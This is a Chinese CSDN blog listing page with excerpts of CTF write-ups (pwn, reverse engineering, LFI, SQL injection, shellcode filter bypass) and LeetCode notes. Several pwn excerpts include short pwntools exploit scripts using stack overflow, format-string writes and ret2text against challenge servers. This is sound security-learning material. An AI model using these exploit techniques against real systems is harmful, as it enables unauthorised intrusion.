自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(74)
  • 收藏
  • 关注

原创 [GUET-CTF2019]re

【代码】[GUET-CTF2019]re。

2023-10-31 13:49:12 250

原创 CrackRTF

md5加密这一步其实可以饶绕过,直接看异或这一步。获取到一个rtf文件。获取到第二次的密码。然后输入两次的密码。注意rtf的文件头。

2023-10-31 11:09:02 159

原创 [WUSTCTF2020]level1

加密算法是从 index 1—19。

2023-10-30 14:50:06 89

原创 RSA加解密

密钥生成:选择两个大质数p和q,计算它们的乘积n = p * q。然后选择一个与φ(n)(n的欧拉函数)互质的整数e,通常选择65537。计算私钥d,使得 (d * e) mod φ(n) = 1。RSA(Rivest-Shamir-Adleman)算法是一种非对称加密算法。加密:将明文消息M转换成整数m,然后计算密文C = (m^e) mod n。解密:接收者使用私钥d来还原明文消息,计算 m = (C^d) mod n。题目给出了公钥,也就是n。

2023-10-30 14:00:00 125

原创 Shellcode——绕过31

所以我想,那就吧所有小于31的加上31,然后运行的时候这部分代码自己修改自己。遇到了一道ctf题目,要求shellcode的每一个字节都必须大于31。也就是SMC,,简称自修改代码。

2023-10-26 22:51:24 490

原创 pwncollege.ReverseEngineering

【代码】pwncollege.ReverseEngineering。

2023-09-24 18:35:53 228

原创 Building a Web Server

题目描述说的很明白无非创建文件,按照它描述的指令一步一步写出来。

2023-08-06 16:59:25 254

原创 SQL注入

举个例子无论如何都正确字符型绝对正确好奇啊,怎么select还可以这样做呢?

2023-08-06 11:28:09 116

原创 pwncollege基本使用与scp下载

这个指令我就不多说了,-i key输入私钥,/challenge/babyrev_level3.0文件,./当前目录。尤其是re的题目,用浏览器看ida非常卡,最好下载下来再做。连接成功,不过我没有开启题目,所以没有让我连接。settings 下面的sshkey,粘贴进去。注意,这个指令的终端要和key在同一个目录。我连接失败了,看来scp我不是很熟悉。key.pub 公钥,全部复制。这个指令,生成 公钥和私钥。这就要用到scp指令了。应该是会要求输入私钥的。key.pub 公钥。

2023-07-25 15:43:46 455

原创 安卓开发二三事儿

我本人是直接创建一个新的模块,把源代码和资源文件全部放进去,这样就基本没啥问题了(就算有依赖文件也可以在。这样的话你的app模块才能调用ScrollViewContainer的内容。记录一下遇到的问题哈。

2023-07-13 21:14:44 212

原创 Java—Spring—BeanFactoryPostProcessor

spring

2023-03-03 12:02:23 118 1

原创 PWN:partial overwrite

pwn

2022-10-19 20:47:26 136

原创 PWN:[WEEK2]ret2libc

pwn

2022-10-19 20:41:44 185 1

原创 PWN:[WEEK2]ret2csu

pwn

2022-10-19 20:34:19 189

原创 PWN:[Week1]safe_shellcode

pwn

2022-10-19 20:27:05 522 1

原创 PWN:intorw

pwn

2022-10-19 20:14:36 131

原创 PWN:Protostar Heap0

pwn

2022-10-19 18:06:14 112

原创 partial overwrite绕过PIE

pwn

2022-10-16 23:04:25 286

原创 pwn练习 2022.10.03

pwn

2022-10-03 20:52:56 168

原创 SWPU NSS新生赛(校外通道)

ctf wp

2022-09-28 15:50:35 691 1

原创 PWN:Bad Seed

感觉没什么太特殊的地方,都是把原本的代码拿过来用而已,所以就觉得这些东西,没什么意思。上面的代码是我从文章中自己摘出来的,然后自己看了看文章的解决方案写出的代码。第一题:破解下面的程序:random.c#include <stdio.h>#include <stdlib.h>#include <time.h> int main(){ srand((unsigned int)time(NULL)); int targetnum=rand

2022-03-01 19:03:21 269

原创 PWN:关于对Random函数的研究

random在CTF中经常出现,所以今天我想深度的研究这个函数。srand()函数原型:void srand(unsigned seed);给rand()函数设置种子。rand()函数原型在执行前,会先查看是否使用了srand()函数。1.使用了srand(seed),就按照这个东西来产生随机数。2.没有使用srand(seed),就默认使用了srand(1)来产生随机数。time函数原型:time_t time(time_t *timer)timer=NULL时得到当前日历时间(从1

2022-03-01 11:11:47 658

原创 Leetcode-198. 打家劫舍

自己一定要相信自己分析:假设只有一家可以打劫,那就偷窃这一家即可。假设有两家可以偷窃,那就偷窃两者中金额最大的那一家。假设有三家,那就比较偷窃第一家+第三家的金额之和和第二家的金额做比较,选最大的那个。设dp[i]是偷窃到当前人家的最大金额数。当前这家有两种选择:偷如果偷,那么前一家就不能偷,也就是dp[i-1]不能偷,得到的金额就是dp[i-1]+nums[i]。不偷如果不偷,那么前一家就可以偷,得到的金额就是dp[i-1].由此得到状态转移方程:dp[i]=

2022-02-07 12:01:21 173

原创 Leetcode-746. 使用最小花费爬楼梯

已经麻了,熟了,就巧了。边界问题研究,或者说,问题分析。有n层楼梯,从第一层或者第二层开始走,一次走一步或者两步,直到楼梯顶部,也就是第n+1层。那么对应下标是从0或1开始到n。对于这个记录数组来说基础值:dp[0]=dp[1]=0公式:dp[i]=min(dp[i-1]+cost[i-1],dp[i-2]+cost[i-2])式子什么意思?到达第i层,有两种可能,从第i-1层走一步,花费为dp[i-1]+cost[i-1]从第i-2层走两步,花费为dp[i-2]+cost[i-2]

2022-02-06 18:25:21 153

原创 Leetcode-70. 爬楼梯

这题秒杀,典型的动态规划。参考链接:Leetcode-1137.第 N 个泰波那契数就是一点,就是关于下标与顺序。class Solution {public: int climbStairs(int n) { //记录数组 vector<int> v; //基础值 v.push_back(1); v.push_back(2); //公式 //v[i]=v[i-1]+

2022-02-06 17:58:53 5688

原创 Bugku-清凉一夏

应该是套神的题目。解压后是一张图片,打开是一张二维码,扫一下:得到字符串:happyctf不知道什么意思。010我自己也看不懂,所以直接kali跑一下。binwalk分析一下,里面有别的内容。得到一个压缩包。打开是一张图片,被加密了。我们可以猜到密码就是扫码的到的字符串。解压成功。图片打开,什么也不显示。可能已经损坏。010看一下,缺少jpg文件头。插入三个字段即可。然后改为 FF D8 FF。图片显示成功:容易想到修改图片宽高。查找一下宽高。搜一下

2022-02-05 20:30:51 2399

原创 Bugku-社工-进阶收集

应该是套神的题目。首先打开压缩包,得到这样的一张图片:百度识图得知是西安大雁塔。高德地图西安地铁线路从始发站开始,经过七站,到达大雁塔的,只有这个韦曲南。我们来看韦曲南:以韦曲南地铁站为中心,以八百米为半径画圆。符合条件的只有:1.兰乔国际城2.广天苑小区然后自己试一试就知道答案是兰乔国际城。flag{lanqiaoguojicheng}...

2022-02-05 19:54:15 381

原创 Leetcode-1137.第 N 个泰波那契数

跟斐波那契数列基本一样。参考文章:斐波那契数列想都不想,直接秒杀:class Solution {public: int tribonacci(int n) { //记录的数组 vector<int> v; //基准值 v.push_back(0); v.push_back(1); v.push_back(1); //公式 //v[i]=v[i-1]+

2022-02-05 19:17:26 323

原创 Leetcode-509斐波那契数

斐波那契额数列。算是最简单的了。第一种:递归class Solution {public: int fib(int n) { if(n<2){ //这一步真是巧妙,我还一直担心,觉得n==0和n==1还要分开讨论, //结果,直接return n;什么心也不用操。 return n; }else{ return fib(n-1)+fib(n-2); }

2022-01-30 19:58:19 504

原创 Leetcode-121

动态规划,不会。硬着头皮上。官方的答案确实很厉害;找历史最低点(),然后计算今天卖得到的收益是多少。首先是找一个很大的值,假设第一天之前的历史最低点(注意不包括今天)为一个很大的值,这样对第一天而言,它的历史最低点是那个很大的值。然后从第一天开始遍历,此时我们已经知道了这一天的历史最低价格,就可以计算倘若今天卖出的收益是多少。计算后,结果肯定是个负值,和我们的初始设置的最大收益0比较,显然是小的,所以我们选择第一天不卖出。接着,我们算算下一天的历史最低价格。然后遍历完就可以了。class

2022-01-29 21:54:29 193

原创 CS:APP-3.2.2

复现mstore.c文件long mult2(long,long);void multstore(long x,long y,long *dest){ long t=mult2(x,y); *dest=t;}然后执行命令:$ gcc -Og -S mstore.c接着就生成了一个.s文件。文件可以直接打开,内容如下: .file "mstore.c" .text .globl multstore .type multstore, @functionmultstore:

2022-01-28 14:25:40 393

原创 set,map,unordered_set,unordered_map

我查了查:set和map底层是红黑树,unordered_set和unordered_map底层是哈希表。底层set,map红黑树unordered_set,unordered_map哈希表set和unordered_set,是集合,不能插入相同元素。set以红黑树为底层,自动排序。unordered_set以哈希表为底层,不会自动排序。map和unordered_mapmap以红黑树为底层,自动排序。unordered_map以哈希表为底层,不会自动排序。

2022-01-28 11:09:49 1161

原创 Leetcode-217

第一种方法:先试用C++内置算法sort来对数组进行排序,然后,从第一个元素开始两两比较,一旦出现相同的就返回true。class Solution {public: bool containsDuplicate(vector<int>& nums) { sort(nums.begin(),nums.end()); int size=nums.size(); for(int i=0;i<size-1;i++){

2022-01-27 18:32:14 85

原创 HAUST自动报平安-傻瓜级教程

-大佬文章之前的操作首先对邮箱进行操作:

2022-01-27 16:40:27 1384 1

原创 Pwncollege:Program Interaction

这题很奇怪直接返回到主目录,然后进入challenge目录,执行程序即可。

2022-01-04 13:51:07 1004

原创 BuuCTF- Basic-BUU LFI COURSE 1

文件包含类题目,关键在于阅读代码:highlight_file(__FILE__);if(isset($_GET['file'])) { $str = $_GET['file']; include $_GET['file'];}highlight_file(FILE);语法高亮一个文件。isset判断一个变量是否已设置, 即变量已被声明,且其值不为 null。可以理解为$var = $_GET[‘var’],这样正是答案的写法:node4.buuoj.cn:81/?f

2021-12-31 18:00:15 926 1

原创 攻防世界:PWN刷题-forgot

forgot这题,可有意思了。大晚上的,有点迷。看了几个wp,一个比一个离谱(太简单了)。后来自己试了试,还真是······思路:本题出现了指针变量并且进行了调用,所以可以利用栈溢出漏洞将该地址覆盖为后门函数的地址,让程序正常执行就可以拿到flag。坑:一定要注意啊对v5的判定。v5初值为1,进过下面的判断等操作后,其值被改变,而v5的值决定了程序调用那个指针所指的位置。exp一定要注意,输入的v2的第一个字符,决定了v5的值。当输入a的时候,经过判定,v5会变成2,则调用第2-1=1,也

2021-12-30 19:53:08 2251

原创 攻防世界:PWN刷题-实时数据监测

实时数据监测思路:程序是裸奔的。漏洞是格式字符串,利用这个漏洞修改key的值,就可以了。学会的新知识:本来想大数字覆盖一个一个来,但其实pwntools的fmtstr_payload模块就可以了。fmtstr_payload(offset,{address:value})exp:#!/usr/bin/pythonfrom pwn import *fmt_addr=0x0804A048p = remote("111.200.241.244",49656)payload=fmtstr_pa

2021-12-30 19:50:09 1457

原创 攻防世界:PWN刷题-反应釜开关控制

反应釜开关控制思路:没有开启pie,并且直接有system("/bin/sh");和ret2text方法一样。exp:#!/usr/bin/pythonfrom pwn import *p = remote(“111.200.241.244”,52515)payload=b’a’*512+b’b’*8+p64(0x00004005F6)p.sendline(payload)p.interactive()...

2021-12-30 19:48:13 2005

原创 攻防世界:PWN刷题(一)

cgpwn232bit,漏洞:栈溢出这题很简单,第一次输入参数“/bin/sh”到一个bss区域,第二次利用栈溢出getshellexp:from pwn import *io = remote('111.200.241.244',61742)sys_addr = 0x08048420io.recvuntil("your name\n")io.sendline("/bin/sh")bin_sh_addr =0x0804A080io.recvuntil("leave some messag

2021-12-30 19:45:46 1577

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除